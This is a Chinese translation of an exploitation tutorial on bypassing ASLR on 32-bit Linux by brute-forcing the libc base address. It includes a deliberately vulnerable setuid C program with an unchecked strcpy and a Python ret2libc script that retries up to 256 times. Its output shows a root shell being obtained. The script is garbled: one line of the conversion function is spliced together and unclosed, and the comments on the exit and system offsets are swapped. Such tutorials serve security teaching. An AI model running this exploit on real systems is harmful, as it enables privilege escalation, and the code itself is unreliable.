绕过 ASLR -- 第二部分

译者：飞龙

原文：Bypassing ASLR – Part II

预备条件：

经典的基于栈的溢出

VM 配置：Ubuntu 12.04 (x86)

这篇文章中，让我们看看如何使用爆破技巧，来绕过共享库地址随机化。

什么是爆破？

在这个技巧中，攻击者选择特定的 Libc 基址，并持续攻击程序直到成功。假设你足够幸运，这个技巧是用于绕过 ASLR 的最简单的技巧。

漏洞代码：

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

编译命令：

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

让我们来看看，攻击者如何爆破 Libc 基址。下面是（当随机化打开时）不同的 Libc 基址：

$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$

上面展示了，Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内，得到 root shell。在下面的利用代码中，让我们选择0xb7595000作为 Libc 基址，并让我们尝试几次。

利用代码：

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

libc_base_addr = 0xb7595000
exit_off = 0x00032be0             #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060           #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d

#endianess convertion
def conv(num):
 return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)

print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
 print "Number of tries: %d" %i
 i += 1
 ret = call(["./vuln", buf])
 if (not ret):
  break
 else:
  print "Exploit failed"

运行上面的利用代码，我们会得到 root shell（在下面展示）：

$ python exp.py 
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

注意：也可以爆破类似的栈和堆段的地址。